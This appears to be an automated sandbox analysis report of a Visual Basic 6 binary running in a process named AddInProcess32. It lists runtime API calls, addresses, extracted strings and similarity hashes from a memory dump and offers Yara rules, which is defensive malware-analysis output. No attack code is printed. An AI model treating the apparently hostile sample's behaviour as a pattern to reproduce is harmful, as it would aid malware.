Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
Part of subcall function 0041A980: __vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
Part of subcall function 0041A980: __vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
Part of subcall function 0041A980: #525.MSVBVM60(00000104), ref: 0041AA9C
Part of subcall function 0041A980: __vbaStrMove.MSVBVM60 ref: 0041AAA7
Part of subcall function 0041A980: __vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
Part of subcall function 0041A980: __vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38

__vbaSetSystemError.MSVBVM60(00000014,00000000), ref: 0041EE2B
#598.MSVBVM60 ref: 0041EE38
#611.MSVBVM60(00000000), ref: 0041EE47
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0041EE77
#705.MSVBVM60(?,00000004), ref: 0041EE86
__vbaStrMove.MSVBVM60 ref: 0041EE94
__vbaStrCat.MSVBVM60(?,at ), ref: 0041EEB9
__vbaStrMove.MSVBVM60 ref: 0041EEC4
__vbaStrCat.MSVBVM60(004086A8,00000000), ref: 0041EED0
__vbaStrMove.MSVBVM60 ref: 0041EEDB
__vbaStrMove.MSVBVM60(00000000), ref: 0041EEEB
__vbaStrCat.MSVBVM60(00000000), ref: 0041EEF2
__vbaStrMove.MSVBVM60 ref: 0041EEFD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF0A
__vbaStrMove.MSVBVM60 ref: 0041EF15
__vbaStrCat.MSVBVM60("\\,00000000), ref: 0041EF21
__vbaStrMove.MSVBVM60 ref: 0041EF2C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF3A
__vbaStrMove.MSVBVM60 ref: 0041EF45
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF51
__vbaStrMove.MSVBVM60 ref: 0041EF5C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF6A
__vbaStrMove.MSVBVM60 ref: 0041EF78
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041EF84
__vbaStrMove.MSVBVM60 ref: 0041EF92
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0041EF9F
__vbaStrMove.MSVBVM60 ref: 0041EFAD
__vbaStrCat.MSVBVM60(004095E4,00000000), ref: 0041EFB9
#600.MSVBVM60(00000008,00000000), ref: 0041EFD8
__vbaOnError.MSVBVM60(000000FF), ref: 0041F076
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F099
__vbaSetSystemError.MSVBVM60(?), ref: 0041F0AF
__vbaExitProc.MSVBVM60 ref: 0041F0B5
__vbaFreeStr.MSVBVM60(0041F135), ref: 0041F12E
__vbaErrorOverflow.MSVBVM60 ref: 0041F146

Strings

sc , xrefs: 0041ED3A, 0041EDA3

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600$#537Chkstk$#525#598#606#611#616#661#705Construct2CopyExitOverflowProcUnicode
String ID: sc
API String ID: 4194055773-3695712183
Opcode ID: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction ID: 1563775ad5923100dd4d9da9d865aeb77b3bef46a6a949fae2e94889091cf12a
Opcode Fuzzy Hash: 10bc9b33671cf09b2be45f840a71d39027787730a0e625a90ceabfc0ea0b6571
Instruction Fuzzy Hash: 44510875A00219DBDB24EFA0DE49BDD7BB4BB44301F1081A9E14AF72A1DB385E85CF18

Function 0040D123 Relevance: 39.4, APIs: 26, Instructions: 364COMMON

Download Yara Rule

APIs

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D22E
__vbaChkstk.MSVBVM60(?), ref: 0040D264
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004077C4,00000020), ref: 0040D2A8
__vbaObjSet.MSVBVM60(?,?), ref: 0040D2DB
__vbaErrorOverflow.MSVBVM60 ref: 0040D522
__vbaOnError.MSVBVM60(00000001), ref: 0040D56C
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040D584
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D5A7
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,00000040), ref: 0040D5CB
__vbaObjSet.MSVBVM60(?,?), ref: 0040D5E2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,0000000C), ref: 0040D5F8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D608
__vbaExitProc.MSVBVM60 ref: 0040D611

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFree$ChkstkExitListNew2OverflowProc
String ID:
API String ID: 435708370-0
Opcode ID: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction ID: fcce0bd25021f4c55c21d17dcae381c1af859cd8f25d7f86317db57e57613949
Opcode Fuzzy Hash: 9749cd1c4f2270137a3b9f12548bda0f3a75b9f7e342ec696e87967a4431a42f
Instruction Fuzzy Hash: CEE11774D00208EFDB14DFA4D988ADEBBB5FF48700F20816AE509BB291D7759985CFA4

Function 00418D00 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6D15A323,6D16D8B1,?), ref: 00418D1E
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
__vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
__vbaStrMove.MSVBVM60 ref: 00418D85
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
__vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
__vbaStrMove.MSVBVM60 ref: 00418DAA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
__vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
__vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
__vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000084), ref: 00418EAD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,0000008C), ref: 00418F3C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000278), ref: 00418FA4
__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,000000E0), ref: 00419013
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 0041905F
__vbaSetSystemError.MSVBVM60(?,?,00CC0020), ref: 00419078
__vbaErrorOverflow.MSVBVM60 ref: 004190C9

Strings

DISPLAY, xrefs: 00418DBF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AnsiError$CheckHresult$System$Move$ChkstkFreeListOverflow
String ID: DISPLAY
API String ID: 226413627-865373369
Opcode ID: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction ID: a062e320558ca6fff28f45832f19da439656b4792b9b718fe8d8c950d48b1413
Opcode Fuzzy Hash: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction Fuzzy Hash: 2BA12875940219EFDB24DF50CD89FEAB7B4FB48300F1085EAE50AA7290D7745A84DF64

Function 0042A090 Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
__vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
__vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
__vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A200

Strings

@2@, xrefs: 0042A0ED

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Error$AnsiCopySystemUnicode$BstrChkstkList
String ID: @2@
API String ID: 653519621-343359795
Opcode ID: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction ID: 4db5018945ba0d113f70efc3efbfc2014598e300a345278f9012389ef60e75fd
Opcode Fuzzy Hash: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction Fuzzy Hash: B741CCB2900149EFCB04EFE4DE49EDEBBB9EB48705F108159F602B61A0DB756A44CB64

Function 00404FF6 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040D86E
__vbaOnError.MSVBVM60(000000FF,?,00000000,Function_000032B6), ref: 0040D8B5
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040D8ED
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D8F8
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040D911
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D91C
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040D937
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040D952
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D95D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040D977
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D982
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000), ref: 0040D99D
#580.MSVBVM60(00000000,00000027,00000000,00000000,Function_0002C0F4,00000000,Function_0002C0D4), ref: 0040DA0C
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,Function_0002C114,Function_0002C118,00000000,Function_0002C0D4), ref: 0040DA33
__vbaStrMove.MSVBVM60 ref: 0040DA3E
__vbaFreeStr.MSVBVM60(00000000), ref: 0040DA4D

Strings

Once, xrefs: 0040D90C, 0040D972
RO, xrefs: 0040D8E8, 0040D94D
C, xrefs: 00404FF6
MR, xrefs: 0040DA2E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$List$#580ChkstkError
String ID: MR$ RO$C$Once
API String ID: 3619039755-2541133078
Opcode ID: 48b6bb2d3d16a4c7b56119f4a48c62106db3d7f764761cb5bd77b8665a021573
Instruction ID: cb69084c84231b04a80139a54d6e55147a6181afad02e942266a88f85e06280e
Opcode Fuzzy Hash: 48b6bb2d3d16a4c7b56119f4a48c62106db3d7f764761cb5bd77b8665a021573
Instruction Fuzzy Hash: 67515C71A00204EFD700DFD4DE8ABAE77B4EF48704F60816AF501B72A1DBB85A45CB69

Function 00415D20 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

__vbaStrCat.MSVBVM60( !@,00409278,?,00000001), ref: 00415D70
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D7D
__vbaStrCat.MSVBVM60(00409280,00000000,?,00000001), ref: 00415D85
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D8C
__vbaInStr.MSVBVM60(00000000,00000000,?,00000001), ref: 00415D90
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000001), ref: 00415DA2
__vbaStrCat.MSVBVM60( !@,004095AC,?,-00000001), ref: 00415DD0
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DD7
__vbaStrCat.MSVBVM60(00409280,00000000,?,-00000001), ref: 00415DDF
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DE6
__vbaInStr.MSVBVM60(00000000,00000000,?,-00000001), ref: 00415DEB
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,-00000001), ref: 00415DFD
__vbaLenBstr.MSVBVM60 ref: 00415E10
__vbaLenBstr.MSVBVM60(?,?), ref: 00415E43
#631.MSVBVM60(?,-00000002,?,?), ref: 00415E59
__vbaStrMove.MSVBVM60(?,-00000002,?,?), ref: 00415E64
__vbaFreeVar.MSVBVM60(?,-00000002,?,?), ref: 00415E69
__vbaErrorOverflow.MSVBVM60 ref: 00415EB9

Strings

AHA !@, xrefs: 00415D4C, 00415DC4, 00415E0A, 00415E16
!@, xrefs: 00415D49, 00415DB3, 00415E53, 00415D63, 00415DCF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$BstrList$#631ErrorOverflow
String ID: !@$AHA !@
API String ID: 43011225-1712571822
Opcode ID: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction ID: 81cdc0ee054e8d02015220d1a651034c4d5d80587a79404b4572d844a8d9d7d0
Opcode Fuzzy Hash: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction Fuzzy Hash: CC412E75E00208AFC704DFA4DD85EEE7BB9EB88701F10416AF905E72A1DB749D45CBA8

Function 00404FCF Relevance: 34.9, APIs: 23, Instructions: 352COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckHresult$Free$ChkstkError
String ID:
API String ID: 1728155253-0
Opcode ID: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction ID: 5eaa79c7dd67bbe53d223c6610bcbbbf959998076f90a4c84057eb8df8a5bbf3
Opcode Fuzzy Hash: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction Fuzzy Hash: 73F10374D00208EFDB14DFA4C988ADEBBB5FF48304F20816DE50AAB291D779A985CF55

Function 00419C60 Relevance: 34.7, APIs: 23, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00419C7E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00419CAE
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00419CCB
__vbaSetSystemError.MSVBVM60(00000002,00000000,?,?,?,00000000,Function_000032B6), ref: 00419CE7
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419D24
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419D3D
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419D56
__vbaStrFixstr.MSVBVM60(00000104,?,00000001), ref: 00419DB5
__vbaStrMove.MSVBVM60 ref: 00419DC3
__vbaInStr.MSVBVM60(00000000,004099EC,00000000), ref: 00419DD1
__vbaStrFixstr.MSVBVM60(00000104,?,-00000001), ref: 00419DED
__vbaStrMove.MSVBVM60 ref: 00419DFB
#616.MSVBVM60(00000000), ref: 00419E02
__vbaStrMove.MSVBVM60 ref: 00419E10
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 00419E29
__vbaStrMove.MSVBVM60 ref: 00419E51
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00419E67
__vbaSetSystemError.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00419E83
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419EA8
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419EC1
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419EDA
__vbaSetSystemError.MSVBVM60(?), ref: 00419F0D

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$AnsiMove$Fixstr$#616ChkstkFreeListLset
String ID:
API String ID: 3958989997-0
Opcode ID: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction ID: f493f75851a7fc0dbfc09fa37243ff87ef1c3d0c798e8d4c224362c0094269ff
Opcode Fuzzy Hash: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction Fuzzy Hash: D5612D71901259EFDB10EFA0CE4CBEEB778EB48305F1081E9E10AB6190DB785A84CF58

Function 00422700 Relevance: 34.6, APIs: 23, Instructions: 111COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0042271E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042274B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0042275A
#648.MSVBVM60(0000000A), ref: 00422779
__vbaFreeVar.MSVBVM60 ref: 00422788
__vbaI2I4.MSVBVM60(?), ref: 0042279C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 004227AA
__vbaI2I4.MSVBVM60 ref: 004227BA
#570.MSVBVM60(00000000), ref: 004227C1
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004227CE
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 00422801
#525.MSVBVM60(00000000), ref: 00422808
__vbaStrMove.MSVBVM60 ref: 00422813
__vbaI2I4.MSVBVM60 ref: 00422823
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 0042282E
__vbaI2I4.MSVBVM60 ref: 0042283E
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042284B

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422866
__vbaI2I4.MSVBVM60 ref: 00422876
__vbaFileClose.MSVBVM60(00000000), ref: 0042287D
__vbaFreeStr.MSVBVM60(004228BA), ref: 004228AA
__vbaFreeStr.MSVBVM60 ref: 004228B3
__vbaErrorOverflow.MSVBVM60 ref: 004228D0

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$BstrFile$#516#631Error$#525#570#648ChkstkCloseCopyGet3OpenOverflowSeek
String ID:
API String ID: 2204187013-0
Opcode ID: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction ID: 20b1ae5d524e12f90e8be89b45e8a07560083909273999c33b36cc12d9e9d757
Opcode Fuzzy Hash: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction Fuzzy Hash: 3441DC71D00248EFDB04EFA4DB4DBDEBBB4EB48705F108169E502B76A0DB785A44CB69

Function 004264F0 Relevance: 31.7, APIs: 21, Instructions: 182COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,0040A1B4,00000011,00000000,6D19285F,6D181654), ref: 00426547
__vbaSetSystemError.MSVBVM60(00000000,?,00000040,?,00000000), ref: 00426571
__vbaSetSystemError.MSVBVM60(?,?,00000002), ref: 00426582
#537.MSVBVM60(00000000), ref: 00426592
__vbaStrMove.MSVBVM60 ref: 0042659F
#537.MSVBVM60(?,00000000), ref: 004265AB
__vbaStrMove.MSVBVM60 ref: 004265B2
__vbaStrCat.MSVBVM60(00000000), ref: 004265B5
__vbaStrMove.MSVBVM60 ref: 004265C0
__vbaStrCmp.MSVBVM60(0040A198,00000000), ref: 004265C8
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004265E5
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00426619
__vbaSetSystemError.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042662F
#537.MSVBVM60(?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426640
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426647
__vbaStrCmp.MSVBVM60(0040A1AC,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042664F
#537.MSVBVM60(00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426666
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042666D
__vbaStrCmp.MSVBVM60(0040A1A4,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426675
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 004266AD
__vbaAryDestruct.MSVBVM60(00000000,?,00426706), ref: 004266FF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$#537ErrorSystem$FreeList$Construct2Destruct
String ID:
API String ID: 2170920009-0
Opcode ID: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction ID: fe4e2f04ec6deddc8f2c7747cb95564e443f1ff94db73ec5ebb53e34e52d70e0
Opcode Fuzzy Hash: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction Fuzzy Hash: 4E51A371E002299BDB24DBB4CD45FEEBBB9EF48700F20822AE545FB291DA745904CF94

Function 00428E40 Relevance: 31.7, APIs: 21, Instructions: 166COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428E91
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428E9F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EAA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428ED0
__vbaFreeObj.MSVBVM60 ref: 00428EDD
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428EF0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EFB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428F1B
__vbaFreeObj.MSVBVM60 ref: 00428F20
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428F45
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A308,00000078), ref: 00428F65
__vbaStrCopy.MSVBVM60 ref: 00428F6D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007B0), ref: 00428F94
#519.MSVBVM60(?), ref: 00428F9A
__vbaStrMove.MSVBVM60 ref: 00428FA5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00428FB9
__vbaFreeObj.MSVBVM60 ref: 00428FC5
__vbaLenBstr.MSVBVM60(?), ref: 00428FCF
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00428FFC
__vbaExitProc.MSVBVM60 ref: 0042900E
__vbaFreeStr.MSVBVM60(00429046), ref: 0042903F

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Cast$#519BstrCopyErrorEventExitListMoveProcRaise
String ID:
API String ID: 2502233557-0
Opcode ID: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction ID: 8420092584710669aa1959ba4e0b61b057cd928f4a57778ab52aa14ced9d5afd
Opcode Fuzzy Hash: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction Fuzzy Hash: DC513C71A01218ABDB00EFA5DE48EDEBBB8FF58704F10416AF505F62A0D7789905CF69

Function 00419820 Relevance: 31.6, APIs: 21, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041983E
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041986E
__vbaSetSystemError.MSVBVM60 ref: 00419889
__vbaVarDup.MSVBVM60 ref: 004198A3
#606.MSVBVM60(?,?), ref: 004198BA
__vbaStrMove.MSVBVM60 ref: 004198C5
__vbaFreeVar.MSVBVM60 ref: 004198CE
__vbaStrI2.MSVBVM60(00000000,00000000), ref: 004198DF
__vbaStrMove.MSVBVM60 ref: 004198EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004198F5
__vbaLenBstr.MSVBVM60(?,00000000), ref: 00419900
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041990F
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000,000000FF,00000000), ref: 00419927
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00419935
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00419949
#644.MSVBVM60(?), ref: 0041995D
